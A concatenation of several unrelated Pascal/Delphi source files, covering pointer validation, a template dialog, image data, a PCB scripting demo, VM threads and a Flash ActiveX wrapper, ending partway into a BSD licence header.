if Assigned(result) and (result^.id <> SPRITE_PTR) then
begin
RaiseWarning('Attempted to access a Sprite that appears to be an invalid pointer');
result := nil;
end;
end;
function ToPanelPtr(p: Panel): PanelPtr;
begin
result := PanelPtr(p);
if Assigned(result) and (result^.id <> PANEL_PTR) then
begin
RaiseWarning('Attempted to access a Panel that appears to be an invalid pointer');
result := nil;
end;
end;
function ToRegionPtr(r: Region): RegionPtr;
begin
result := RegionPtr(r);
if Assigned(result) and (result^.id <> REGION_PTR) then
begin
RaiseWarning('Attempted to access a Region that appears to be an invalid pointer');
result := nil;
end;
end;
function ToArduinoPtr(a: ArduinoDevice): ArduinoPtr;
begin
result := ArduinoPtr(a);
if Assigned(result) and (result^.id <> ARDUINO_PTR) then
begin
RaiseWarning('Attempted to access an Arduino that appears to be an invalid pointer');
result := nil;
end;
end;
function ToTimerPtr(t: Timer): TimerPtr;
begin
result := TimerPtr(t);
if Assigned(result) and (result^.id <> TIMER_PTR) then
begin
RaiseWarning('Attempted to access a Timer that appears to be an invalid pointer');
result := nil;
end;
end;
function ToFontPtr(f: Font): FontPtr;
begin
result := FontPtr(f);
if Assigned(result) and (result^.id <> FONT_PTR) then
begin
RaiseWarning('Attempted to access a Font that appears to be an invalid pointer');
result := nil;
end;
end;
function ToWindowPtr(w: Window): WindowPtr;
begin
result := WindowPtr(w);
if Assigned(result) and (result^.id <> WINDOW_PTR) then
begin
RaiseWarning('Attempted to access a Window that appears to be an invalid pointer');
result := nil;
end;
end;
function ToConnectionPtr(c: Connection): ConnectionPtr;
begin
result := ConnectionPtr(c);
if Assigned(result) and (result^.id <> CONNECTION_PTR) then
begin
RaiseWarning('Attempted to access a Connection that appears to be an invalid pointer');
result := nil;
end;
end;
function ToServerSocketPtr(c: ServerSocket): ServerSocketPtr;
begin
result := ServerSocketPtr(c);
if Assigned(result) and (result^.id <> SERVER_SOCKET_PTR) then
begin
RaiseWarning('Attempted to access a Server Socket that appears to be an invalid pointer');
result := nil;
end;
end;
function ToMessagePtr(c: Message): MessagePtr;
begin
result := MessagePtr(c);
if Assigned(result) and (result^.id <> MESSAGE_PTR) then
begin
RaiseWarning('Attempted to access a Message that appears to be an invalid pointer');
result := nil;
end;
end;
function ToHttpResponsePtr(c: HttpResponse): HttpResponsePtr;
begin
result := HttpResponsePtr(c);
if Assigned(result) and (result^.id <> HTTP_RESPONSE_PTR) then
begin
RaiseWarning('Attempted to access a HTTP Response that appears to be an invalid pointer');
result := nil;
end;
end;
function ToSurfacePtr(p: Pointer): psg_drawing_surface;
var
id: PointerIdentifier;
w: WindowPtr;
b: BitmapPtr;
begin
id := PtrKind(p);
if id = WINDOW_PTR then
begin
w := ToWindowPtr(p);
result := @w^.image.surface;
end
else if id = BITMAP_PTR then
begin
b := ToBitmapPtr(p);
result := @b^.image.surface;
end
else result := nil;
end;
end.
|
{-----------------------------------------------------------------------------
Unit Name: dlgCodeTemplates
Author: Kiriakos Vlahos
Date: 08-Aug-2006
Purpose: Customization dialog for Code Templates
History:
-----------------------------------------------------------------------------}
unit dlgFileTemplates;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, ExtCtrls, JvExStdCtrls, JvEdit,
SynEdit, JvGroupBox, ActnList, TBXDkPanels, cFileTemplates;
type
TFileTemplatesDialog = class(TForm)
Panel: TPanel;
lvItems: TListView;
btnCancel: TButton;
btnOK: TButton;
JvGroupBox: TJvGroupBox;
Label1: TLabel;
Label2: TLabel;
SynTemplate: TSynEdit;
edName: TEdit;
ActionList: TActionList;
actAddItem: TAction;
actDeleteItem: TAction;
actMoveUp: TAction;
actMoveDown: TAction;
actUpdateItem: TAction;
Label5: TLabel;
edCategory: TEdit;
TBXButton1: TTBXButton;
TBXButton3: TTBXButton;
TBXButton4: TTBXButton;
TBXButton5: TTBXButton;
TBXButton2: TTBXButton;
Label4: TLabel;
Label3: TLabel;
edExtension: TEdit;
Label6: TLabel;
Label7: TLabel;
CBHighlighters: TComboBox;
btnHelp: TButton;
procedure FormDestroy(Sender: TObject);
procedure edNameKeyPress(Sender: TObject; var Key: Char);
procedure ActionListUpdate(Action: TBasicAction; var Handled: Boolean);
procedure actAddItemExecute(Sender: TObject);
procedure actDeleteItemExecute(Sender: TObject);
procedure actUpdateItemExecute(Sender: TObject);
procedure lvItemsChange(Sender: TObject; Item: TListItem;
Change: TItemChange);
procedure actMoveUpExecute(Sender: TObject);
procedure actMoveDownExecute(Sender: TObject);
procedure btnHelpClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CBHighlightersChange(Sender: TObject);
private
procedure StoreFieldsToFileTemplate(FileTemplate: TFileTemplate);
{ Private declarations }
public
{ Public declarations }
TempFileTemplates : TFileTemplates;
procedure SetItems;
procedure GetItems;
end;
implementation
uses dmCommands, SynEditHighlighter;
{$R *.dfm}
procedure TFileTemplatesDialog.FormCreate(Sender: TObject);
var
i : integer;
begin
TempFileTemplates := TFileTemplates.Create;
for i := 0 to CommandsDataModule.Highlighters.Count - 1 do
cbHighlighters.Items.AddObject(CommandsDataModule.Highlighters[i],
CommandsDataModule.Highlighters.Objects[i]);
SynTemplate.Highlighter := nil;
CommandsDataModule.ParameterCompletion.Editor := SynTemplate;
CommandsDataModule.ModifierCompletion.Editor := SynTemplate;
end;
procedure TFileTemplatesDialog.FormDestroy(Sender: TObject);
begin
CommandsDataModule.ParameterCompletion.RemoveEditor(SynTemplate);
CommandsDataModule.ModifierCompletion.RemoveEditor(SynTemplate);
SynTemplate.Highlighter := nil;
TempFileTemplates.Free;
end;
procedure TFileTemplatesDialog.edNameKeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in ['a'..'z', 'A'..'Z', '0'..'9', #8]) then
Key := #0;
inherited;
end;
procedure TFileTemplatesDialog.GetItems;
begin
FileTemplates.Assign(TempFileTemplates);
end;
procedure TFileTemplatesDialog.StoreFieldsToFileTemplate(FileTemplate: TFileTemplate);
begin
FileTemplate.Name := edName.Text;
FileTemplate.Extension := edExtension.Text;
FileTemplate.Category := edCategory.Text;
FileTemplate.Highlighter := CBHighlighters.Text;
FileTemplate.Template := SynTemplate.Text;
end;
procedure TFileTemplatesDialog.SetItems;
Var
i : integer;
begin
TempFileTemplates.Assign(FileTemplates);
lvItems.Clear;
for i := 0 to TempFileTemplates.Count - 1 do
with lvItems.Items.Add() do begin
Caption := (TempFileTemplates[i] as TFileTemplate).Name;
Data := TempFileTemplates[i];
SubItems.Add(TFileTemplate(TempFileTemplates[i]).Category);
end;
end;
procedure TFileTemplatesDialog.ActionListUpdate(Action: TBasicAction;
var Handled: Boolean);
begin
actDeleteItem.Enabled := lvItems.ItemIndex >= 0;
actMoveUp.Enabled := lvItems.ItemIndex >= 1;
actMoveDown.Enabled := (lvItems.ItemIndex >= 0) and
(lvItems.ItemIndex < lvItems.Items.Count - 1);
actAddItem.Enabled := (edName.Text <> '') and (edCategory.Text <> '');
actUpdateItem.Enabled := (edName.Text <> '') and (lvItems.ItemIndex >= 0);
Handled := True;
end;
procedure TFileTemplatesDialog.actAddItemExecute(Sender: TObject);
Var
Item : TListItem;
FileTemplate : TFileTemplate;
i : Integer;
begin
if (edName.Text <> '') and (edCategory.Text <> '') then begin
for i := 0 to lvItems.Items.Count - 1 do
if (CompareText(lvItems.Items[i].Caption, edName.Text) = 0) and
(CompareText(lvItems.Items[i].SubItems[0], edCategory.Text) = 0) then
begin
Item := lvItems.Items[i];
FileTemplate := TFileTemplate(Item.Data);
StoreFieldsToFileTemplate(FileTemplate);
Item.Caption := edName.Text;
Item.SubItems[0] := edCategory.Text;
Item.Selected := True;
Exit;
end;
FileTemplate := TFileTemplate.Create;
TempFileTemplates.Add(FileTemplate);
StoreFieldsToFileTemplate(FileTemplate);
with lvItems.Items.Add() do begin
Caption := edName.Text;
SubItems.Add(edCategory.Text);
Data := FileTemplate;
Selected := True;
end;
end;
end;
procedure TFileTemplatesDialog.actDeleteItemExecute(Sender: TObject);
begin
if lvItems.ItemIndex >= 0 then begin
TempFileTemplates.Delete(lvItems.ItemIndex);
lvItems.Items.Delete(lvItems.ItemIndex);
end;
end;
procedure TFileTemplatesDialog.actUpdateItemExecute(Sender: TObject);
Var
i : integer;
begin
if (edName.Text <> '') and (lvItems.ItemIndex >= 0) then begin
for i := 0 to lvItems.Items.Count - 1 do
if (CompareText(lvItems.Items[i].Caption, edName.Text) = 0) and
(CompareText(lvItems.Items[i].SubItems[0], edCategory.Text) = 0) and
(i <> lvItems.ItemIndex) then
begin
MessageDlg('Another item has the same name', mtError, [mbOK], 0);
Exit;
end;
with lvItems.Items[lvItems.ItemIndex] do begin
StoreFieldsToFileTemplate(TFileTemplate(Data));
Caption := edName.Text;
SubItems[0] := edCategory.Text;
end;
end;
end;
procedure TFileTemplatesDialog.btnHelpClick(Sender: TObject);
begin
Application.HelpContext(HelpContext);
end;
procedure TFileTemplatesDialog.CBHighlightersChange(Sender: TObject);
begin
if CBHighlighters.ItemIndex < 0 then
SynTemplate.Highlighter := nil
else
SynTemplate.Highlighter :=
CBHighlighters.Items.Objects[CBHighlighters.ItemIndex] as TSynCustomHighlighter;
end;
procedure TFileTemplatesDialog.lvItemsChange(Sender: TObject; Item: TListItem;
Change: TItemChange);
var
FileTemplate : TFileTemplate;
begin
if Item.Selected then begin
FileTemplate := TFileTemplate(Item.Data);
edName.Text := FileTemplate.Name;
edCategory.Text := FileTemplate.Category;
edExtension.Text := FileTemplate.Extension;
CBHighlighters.ItemIndex := CBHighlighters.Items.IndexOf(FileTemplate.Highlighter);
SynTemplate.Text := FileTemplate.Template;
CBHighlightersChange(Self);
end else begin
edName.Text := '';
edCategory.Text := '';
edExtension.Text := '';
CBHighlighters.ItemIndex := -1;
SynTemplate.Text := '';
end;
end;
procedure TFileTemplatesDialog.actMoveUpExecute(Sender: TObject);
Var
Name, Value : string;
P : Pointer;
Index : integer;
begin
if lvItems.ItemIndex > 0 then begin
Index := lvItems.ItemIndex;
Name := lvItems.Items[Index].Caption;
Value := lvItems.Items[Index].SubItems[0];
P := lvItems.Items[Index].Data;
lvItems.Items.Delete(Index);
with lvItems.Items.Insert(Index - 1) do begin
Caption := Name;
SubItems.Add(Value);
Data := P;
Selected := True;
end;
TempFileTemplates.Move(Index, Index - 1);
end;
end;
procedure TFileTemplatesDialog.actMoveDownExecute(Sender: TObject);
Var
Name, Value : string;
P : Pointer;
Index : integer;
begin
if lvItems.ItemIndex < lvItems.Items.Count - 1 then begin
Index := lvItems.ItemIndex;
Name := lvItems.Items[Index].Caption;
Value := lvItems.Items[Index].SubItems[0];
P := lvItems.Items[Index].Data;
lvItems.Items.Delete(Index);
with lvItems.Items.Insert(Index + 1) do begin
Caption := Name;
SubItems.Add(Value);
Data := P;
Selected := True;
end;
TempFileTemplates.Move(Index, Index + 1);
end;
end;
end.
|
unit ImageGreyIntData;
interface
uses Windows, Graphics, Abstract2DImageData, IntDataSet, dglOpenGL;
type
T2DImageGreyIntData = class (TAbstract2DImageData)
private
// Gets
function GetData(_x, _y: integer):integer;
// Sets
procedure SetData(_x, _y: integer; _value: integer);
protected
// Constructors and Destructors
procedure Initialize; override;
// Gets
function GetBitmapPixelColor(_Position: longword):longword; override;
function GetRPixelColor(_Position: longword):byte; override;
function GetGPixelColor(_Position: longword):byte; override;
function GetBPixelColor(_Position: longword):byte; override;
function GetAPixelColor(_Position: longword):byte; override;
function GetRedPixelColor(_x,_y: integer):single; override;
function GetGreenPixelColor(_x,_y: integer):single; override;
function GetBluePixelColor(_x,_y: integer):single; override;
function GetAlphaPixelColor(_x,_y: integer):single; override;
// Sets
procedure SetBitmapPixelColor(_Position, _Color: longword); override;
procedure SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte); override;
procedure SetRedPixelColor(_x,_y: integer; _value:single); override;
procedure SetGreenPixelColor(_x,_y: integer; _value:single); override;
procedure SetBluePixelColor(_x,_y: integer; _value:single); override;
procedure SetAlphaPixelColor(_x,_y: integer; _value:single); override;
public
// Gets
function GetOpenGLFormat:TGLInt; override;
// Misc
procedure ScaleBy(_Value: single); override;
procedure Invert; override;
// properties
property Data[_x,_y:integer]:integer read GetData write SetData; default;
end;
implementation
// Constructors and Destructors
procedure T2DImageGreyIntData.Initialize;
begin
FData := TIntDataSet.Create;
end;
// Gets
function T2DImageGreyIntData.GetData(_x, _y: integer):integer;
begin
if (_x >= 0) and (_x < FXSize) and (_y >= 0) and (_y < FYSize) then
begin
Result := (FData as TIntDataSet).Data[(_y * FXSize) + _x];
end
else
begin
Result := 0;
end;
end;
function T2DImageGreyIntData.GetBitmapPixelColor(_Position: longword):longword;
begin
Result := RGB((FData as TIntDataSet).Data[_Position],(FData as TIntDataSet).Data[_Position],(FData as TIntDataSet).Data[_Position]);
end;
function T2DImageGreyIntData.GetRPixelColor(_Position: longword):byte;
begin
Result := (FData as TIntDataSet).Data[_Position] and $FF;
end;
function T2DImageGreyIntData.GetGPixelColor(_Position: longword):byte;
begin
Result := (FData as TIntDataSet).Data[_Position] and $FF;
end;
function T2DImageGreyIntData.GetBPixelColor(_Position: longword):byte;
begin
Result := (FData as TIntDataSet).Data[_Position] and $FF;
end;
function T2DImageGreyIntData.GetAPixelColor(_Position: longword):byte;
begin
Result := 0;
end;
function T2DImageGreyIntData.GetRedPixelColor(_x,_y: integer):single;
begin
Result := (FData as TIntDataSet).Data[(_y * FXSize) + _x];
end;
function T2DImageGreyIntData.GetGreenPixelColor(_x,_y: integer):single;
begin
Result := 0;
end;
function T2DImageGreyIntData.GetBluePixelColor(_x,_y: integer):single;
begin
Result := 0;
end;
function T2DImageGreyIntData.GetAlphaPixelColor(_x,_y: integer):single;
begin
Result := 0;
end;
function T2DImageGreyIntData.GetOpenGLFormat:TGLInt;
begin
Result := GL_RGB;
end;
// Sets
procedure T2DImageGreyIntData.SetBitmapPixelColor(_Position, _Color: longword);
begin
(FData as TIntDataSet).Data[_Position] := Round(((0.299 * GetRValue(_Color)) + (0.587 * GetGValue(_Color)) + (0.114 * GetBValue(_Color))) * 255);
end;
procedure T2DImageGreyIntData.SetRGBAPixelColor(_Position: integer; _r, _g, _b, _a: byte);
begin
(FData as TIntDataSet).Data[_Position] := Round(((0.299 * _r) + (0.587 * _g) + (0.114 * _b)) * 255);
end;
procedure T2DImageGreyIntData.SetRedPixelColor(_x,_y: integer; _value:single);
begin
(FData as TIntDataSet).Data[(_y * FXSize) + _x] := Round(_value);
end;
procedure T2DImageGreyIntData.SetGreenPixelColor(_x,_y: integer; _value:single);
begin
// Do nothing
end;
procedure T2DImageGreyIntData.SetBluePixelColor(_x,_y: integer; _value:single);
begin
// Do nothing
end;
procedure T2DImageGreyIntData.SetAlphaPixelColor(_x,_y: integer; _value:single);
begin
// Do nothing
end;
procedure T2DImageGreyIntData.SetData(_x, _y: integer; _value: integer);
begin
if (_x >= 0) and (_x < FXSize) and (_y >= 0) and (_y < FYSize) then
begin
(FData as TIntDataSet).Data[(_y * FXSize) + _x] := _value;
end;
end;
// Misc
procedure T2DImageGreyIntData.ScaleBy(_Value: single);
var
x,maxx: integer;
begin
maxx := (FXSize * FYSize) - 1;
for x := 0 to maxx do
begin
(FData as TIntDataSet).Data[x] := Round((FData as TIntDataSet).Data[x] * _Value);
end;
end;
procedure T2DImageGreyIntData.Invert;
var
x,maxx: integer;
begin
maxx := (FXSize * FYSize) - 1;
for x := 0 to maxx do
begin
(FData as TIntDataSet).Data[x] := 255 - (FData as TIntDataSet).Data[x];
end;
end;
end.
|
{..............................................................................}
{ Summary }
{ Demo the use of ChooseRectangleByCorners method and the spatial iterator. }
{ Selects free primitives only on the focussed PCB }
{ }
{ Copyright (c) 2004 by Altium Limited }
{..............................................................................}
{..............................................................................}
Procedure SearchForObjectsWithinTheBoundaryRectangle;
Var
Board : IPCB_Board;
PCBObject : IPCB_Object;
Iterator : IPCB_SpatialIterator;
X1,Y1,X2,Y2 : TCoord;
ASetOfLayers : TLayerSet;
ASetOfObjects : TObjectSet;
Begin
Board := PCBServer.GetCurrentPCBBoard;
If Board = Nil Then Exit;
(* The ChooseRectangleByCorners fn is an interactive function where *)
(* you are prompted to choose two points on a PCB document.*)
If Not (Board.ChooseRectangleByCorners( 'Choose first corner',
'Choose final corner',
x1,y1,x2,y2)) Then Exit;
(* Top/Bottom Layers and Arc/Track objects defined
for the Spatial iterator constraints *)
ASetOfLayers := MkSet(eTopLayer,eBottomLayer);
ASetOfObjects := MkSet(eArcObject,eTrackObject);
(* Setup a spatial iterator which conducts a *)
(* search within a defined boundary by the *)
(* ChooseRectangleByCorners method *)
Iterator := Board.SpatialIterator_Create;
Iterator.AddFilter_ObjectSet(ASetOfObjects);
Iterator.AddFilter_LayerSet(ASetOfLayers);
Iterator.AddFilter_Area(X1,Y1,X2,Y2);
(* Iterate for tracks and arcs on bottom/top layers *)
PCBObject := Iterator.FirstPCBObject;
While PCBObject <> 0 Do
Begin
PCBObject.Selected := True;
PCBObject := Iterator.NextPCBObject;
End;
Board.SpatialIterator_Destroy(Iterator);
(* Update PCB document *)
Client.SendMessage('PCB:Zoom', 'Action=Redraw' , 255, Client.CurrentView);
End;
{..............................................................................}
{..............................................................................}
|
unit svm_threads;
{$mode objfpc}
{$H+}
interface
uses
Classes,
SysUtils,
syncobjs,
svm_common,
svm_stack,
svm_res,
svm_imports,
svm_mem,
svm_grabber,
svm_utils,
svm_core;
{***** Context ****************************************************************}
type
TSVMThreadContext = class
public
CtxMemory: PMemory;
CtxStack: TStack;
constructor Create(mem: PMemory; stack: PStack);
destructor Destroy; override;
end;
TSVMThread = class(TThread)
public
vm: PSVM;
constructor Create(bytes: PByteArr; consts: PConstSection;
extern_methods: PImportSection; svm_memory, svm_local_memory: PMemory;
method: TInstructionPointer; arg: pointer);
procedure Execute; override;
destructor Destroy; override;
end;
procedure InitThreads;
procedure FreeThreads;
procedure RefCounterInc(m: TSVMMem); inline;
procedure RefCounterDec(m: TSVMMem); inline;
procedure ThreadDestructor(pThr: pointer); stdcall;
implementation
procedure InitThreads;
begin
end;
procedure FreeThreads;
begin
end;
{***** Context ****************************************************************}
constructor TSVMThreadContext.Create(mem: PMemory; stack: PStack);
var
c, l: cardinal;
begin
inherited Create;
new(CtxMemory);
l := Length(mem^);
SetLength(self.CtxMemory^, l);
c := 0;
while c < l do
begin
self.CtxMemory^[c] := mem^[c];
Inc(c);
end;
self.CtxStack.init;
l := stack^.i_pos;
c := 0;
while c < l do
begin
self.CtxStack.push(stack^.items[c]);
Inc(c);
end;
end;
destructor TSVMThreadContext.Destroy;
begin
Dispose(self.CtxMemory);
self.CtxStack.drop;
inherited;
end;
// Some features
procedure RefCounterInc(m: TSVMMem); inline;
var
c, l: cardinal;
_m: TSVMMem;
begin
if m.m_type in [svmtArr, svmtClass] then
begin
c := 0;
l := Length(PMemArray(m.m_val)^);
while c < l do
begin
_m := TSVMMem(PMemArray(m.m_val)^[c]);
if _m.m_type <> svmtNull then
InterlockedIncrement(_m.m_rcnt);
Inc(c);
end;
end;
if m.m_type <> svmtNull then
InterlockedIncrement(m.m_rcnt);
end;
procedure RefCounterDec(m: TSVMMem); inline;
var
c, l: cardinal;
_m: TSVMMem;
begin
if m.m_type in [svmtArr, svmtClass] then
begin
c := 0;
l := Length(PMemArray(m.m_val)^);
while c < l do
begin
_m := TSVMMem(PMemArray(m.m_val)^[c]);
if _m.m_type <> svmtNull then
InterlockedDecrement(_m.m_rcnt);
Inc(c);
end;
end;
if m.m_type <> svmtNull then
InterlockedDecrement(m.m_rcnt);
end;
{***** Thread *****************************************************************}
constructor TSVMThread.Create(bytes: PByteArr; consts: PConstSection;
extern_methods: PImportSection; svm_memory, svm_local_memory: PMemory;
method: TInstructionPointer; arg: pointer);
var
c, ml: cardinal;
m: TSVMMem;
begin
GlobalLock.Enter;
FreeOnTerminate := True;
new(vm);
vm^.isMainThread := False;
vm^.bytes := bytes;
vm^.end_ip := length(bytes^);
vm^.consts := consts;
vm^.extern_methods := extern_methods;
vm^.stack.init;
vm^.rstack.init;
vm^.cbstack.init;
vm^.pVM_NULL := VM_NULL;
//fill mem map
vm^.mem := svm_memory;
new(vm^.local_mem);
vm^.grabber := TGrabber.Create;
ml := Length(svm_memory^);
SetLength(vm^.local_mem^, ml);
c := 0;
while c < ml do
begin
vm^.local_mem^[c] := svm_local_memory^[c];
InterlockedIncrement(TSVMMem(vm^.local_mem^[c]).m_rcnt);
Inc(c);
end;
vm^.stack.push(arg);
vm^.ip := method;
m := NewSVMM_Ref(self, vm^.grabber);
m.m_rcnt := 1;
vm^.stack.push(m);
GlobalLock.Release;
inherited Create(True);
end;
procedure TSVMThread.Execute;
begin
vm^.RunThread;
end;
destructor TSVMThread.Destroy;
var
c, ml: cardinal;
begin
GlobalLock.Enter;
ml := Length(vm^.local_mem^);
c := 0;
while c < ml do
begin
InterlockedDecrement(TSVMMem(vm^.local_mem^[c]).m_rcnt);
Inc(c);
end;
vm^.stack.free;
vm^.rstack.free;
SetLength(vm^.try_blocks.trblocks, 0);
vm^.grabber.RunFull(True);
GrabbersStorage.Add(vm^.grabber);
//InterlockedIncrement(GrabbersInStorage);
SetLength(vm^.local_mem^, 0);
Dispose(vm^.local_mem);
Dispose(vm);
GlobalLock.Release;
inherited Destroy;
end;
procedure ThreadDestructor(pThr: pointer); stdcall;
begin
if TSVMThread(pThr).Suspended then
TSVMThread(pThr).Terminate;
end;
end.
|
// glasm.ru
unit u_Flash;
interface
uses
ActiveX, Classes, SysUtils, Controls, ShockwaveFlashObjects_TLB, zlib;
type
c_Flash = class(TShockwaveFlash)
private
f_OleObj: IOleObject;
f_loaded: Boolean;
f_fw,f_fh,f_fc: cardinal;
f_fr,f_fps: single;
procedure _parsePrm(a_PrmList:string);
protected
procedure InitControlInterface(const Obj:IUnknown); override;
public
constructor Create(a_Owner:TComponent); reintroduce;
procedure setSize(a_Width,a_Height:integer);
procedure Invalidate; override;
function func(a_FFunc:String; a_Args:array of const):String;
// a_Params: http://kb2.adobe.com/cps/127/tn_12701.html
procedure loadFromStream(a_Stream:TStream;
a_Params:string = ''; a_FlashVars:string = '');
procedure loadFromFile(a_FileName:string;
a_Params:string = ''; a_FlashVars:string = '');
procedure loadFromRes(a_ResName:string; a_ResType:string = 'SWF';
a_Params:string = ''; a_FlashVars:string = '');
property frameWidth: cardinal read f_fw;
property frameHeight: cardinal read f_fh;
property frameRate: single read f_fr;
property frameCount: cardinal read f_fc;
property isLoaded: Boolean read f_loaded;
end;
implementation
// / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / c _ F l a s h
// constructor
//
constructor c_Flash.Create;
begin
inherited Create(a_Owner);
parent := TWinControl(a_Owner);
f_loaded := false;
end;
// InitControlInterface
//
procedure c_Flash.InitControlInterface;
begin
f_OleObj := Obj as IOleObject;
end;
// params parser
//
procedure c_Flash._parsePrm;
var
i,c: integer;
t: TStringList;
s1,s2: string;
b: boolean;
begin
t := TStringList.Create;
t.Delimiter := '&';
t.DelimitedText := a_PrmList;
for i := 0 to t.Count - 1 do begin
c := pos('=', t[i]);
if c = 0 then
continue;
s1 := lowercase(copy(t[i], 1, c-1));
s2 := lowercase(copy(t[i], c + 1, length(t[i])-c));
if (s1 = 'w') or (s1 = 'width') then begin
if trystrtoint(s2, c) then
Width := c;
end
else if (s1 = 'h') or (s1 = 'height') then begin
if trystrtoint(s2, c) then
Height := c;
end
else if (s1 = 's') or (s1 = 'scale') then Scale := s2
else if (s1 = 'a') or (s1 = 'salign') then SAlign := s2
else if (s1 = 'q') or (s1 = 'Quality') then Quality2 := s2
else if (s1 = 'm') or (s1 = 'wmode') then WMode := s2
else if (s1 = 'menu') then begin
if trystrtobool(s2, b) then
Menu := b;
end;
end;
end;
// func
//
function c_Flash.func;
var
i: integer;
s: string;
fs: TFormatSettings;
procedure addNum(t:string);
begin
s := s + '<number>' + t + '</number>';
end;
procedure addStr(t:string);
begin
s := s + '<string>' + t + '</string>';
end;
begin
s := '<invoke name="' + a_FFunc + '">';
fs.DecimalSeparator := '.';
if length(a_Args) > 0 then begin
s := s + '<arguments>';
for i := 0 to high(a_Args) do
with a_Args[i] do
case vType of
vtInteger: addNum(inttostr(VInteger));
vtBoolean: if VBoolean then addStr('true') else addStr('false');
vtExtended: addNum(FormatFloat('0.####', VExtended^, fs));
vtPointer: addNum(inttostr(integer(VPointer)));
vtWideString: addStr(String(VWideString));
vtAnsiString: addStr(String(VAnsiString));
vtWideChar: addStr(VWideChar);
vtChar: addStr(String(VChar));
vtInt64: addNum(inttostr(VInt64^));
vtString: addStr(String(VString));
{$if CompilerVersion>18.5}
17: addStr(String(VUnicodeString));
{$ifend}
end;
s := s + '</arguments>';
end;
s := s + '</invoke>';
try
result := CallFunction(s);
except
end;
end;
// setSize
//
procedure c_Flash.setSize;
begin
width := a_Width;
height := a_Height;
Invalidate;
end;
// Invalidate
//
procedure c_Flash.Invalidate;
begin
{$if CompilerVersion<16} // delphi 7
CreateWnd;
{$ifend}
inherited Invalidate;
end;
// LoadFromStream
//
procedure c_Flash.LoadFromStream;
type
t_bw = 1..32;
var
b: byte;
sgn,p,sz: cardinal;
ISize: int64;
comp: boolean;
n: TStream;
m1,m2: TMemoryStream;
z: TDeCompressionStream;
pStream: IPersistStreamInit;
sAdapt: TStreamAdapter;
buf: array[0..24] of byte;
plst: TStringList;
function nb(const Buffer; pos:integer; cnt:t_bw):cardinal;
var
i: integer;
c: cardinal;
begin
result := 0;
c := 1 shl(cnt-1);
for i := pos to pos + cnt - 1 do begin
if PByteArray(@buf)^[i shr 3] and (128 shr(i and 7)) <> 0 then
result := result or c;
c := c shr 1;
end;
inc(p, cnt);
end;
begin
// flash get info [decompress]
sgn := 0;
a_Stream.Read(sgn, 3);
comp := sgn = $535743;
if comp then begin
n := TMemoryStream.Create;
sgn := $535746;
n.Write(sgn, 3);
n.CopyFrom(a_Stream, 1);
a_Stream.Read(sz, 4);
n.Write(sz, 4);
z := TDeCompressionStream.Create(a_Stream);
try
n.CopyFrom(z, sz-8);
finally
z.free;
end;
n.Position := 0;
end
else begin
a_Stream.Position := a_Stream.Position - 3;
sz := a_Stream.Size - a_Stream.Position;
n := a_Stream;
end;
n.Seek(8, 1);
// n.Read(f_Len, 4);
n.Read(buf[0], 25);
n.Seek(-33, 1);
p := 0;
b := t_bw(nb(buf[0], p, 5));
f_fw := (-nb(buf[0], p, b) + nb(buf[0], p, b)) div 20;
f_fh := (-nb(buf[0], p, b) + nb(buf[0], p, b)) div 20;
setSize(f_fw, f_fh);
// framerate
b := p and 7;
p := p shr 3;
if b > 0 then inc(p);
f_fr := buf[p + 1] + buf[p] / 256;
if f_fr > 60 then f_fr := 60;
f_fc := buf[p + 2] or (buf[p + 3] shl 8);
// f_dt := 1 / f_fr;
f_fps := f_fr;
// params
plst := TStringList.Create;
//_prm(plst, a_Params);
plst.Free;
// Scale := a_Params.scale;
// SAlign := a_Params.salign;
// Quality2 := a_Params.quality;
// WMode := a_Params.wmode;
_parsePrm(a_Params);
//self.MovieData := a_Params;
FlashVars := a_FlashVars;
// init streams
EmbedMovie := false;
f_OleObj.QueryInterface(IPersistStreamInit, pStream);
pStream.GetSizeMax(ISize);
m1 := TMemoryStream.Create;
m1.SetSize(ISize);
sAdapt := TStreamAdapter.Create(m1);
pStream.Save(sAdapt, true);
sAdapt.Free;
m1.Position := 1;
// load
m2 := TMemoryStream.Create;
b := $66; m2.Write(b, 1);
m2.CopyFrom(m1, 3);
m2.Write(sz, 4);
m2.CopyFrom(n, sz);
m2.CopyFrom(m1, m1.Size - m1.Position);
m2.Position := 0;
sAdapt := TStreamAdapter.Create(m2);
pStream.Load(sAdapt);
sAdapt.Free;
m2.Free;
m1.Free;
pStream := nil;
if comp then
n.Free;
f_loaded := true;
end;
// loadFromFile
//
procedure c_Flash.loadFromFile;
var
f: TFileStream;
begin
if not fileexists(a_FileName) then exit;
f := TFileStream.Create(a_FileName, fmOpenRead or fmShareDenyNone);
LoadFromStream(f, a_Params, a_FlashVars);
f.Free;
end;
// loadFromRes
//
procedure c_Flash.loadFromRes;
var
p: TResourceStream;
begin
p := TResourceStream.Create(0, a_ResName, PChar(a_ResType));
LoadFromStream(p, a_Params, a_FlashVars);
p.Free;
end;
end.
|
program catdbo;
{
(§LIC)
(c) Autor,Copyright
Dipl.Ing.- Helmut Hartl, Dipl.Ing.- Franz Schober, Dipl.Ing.- Christian Koch
FirmOS Business Solutions GmbH
www.openfirmos.org
New Style BSD Licence (OSI)
Copyright (c) 2001-2009, FirmOS Business Solutions GmbH
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the <FirmOS Business Solutions GmbH> nor the names
of its contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE ARE DISCLAIMED.
IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
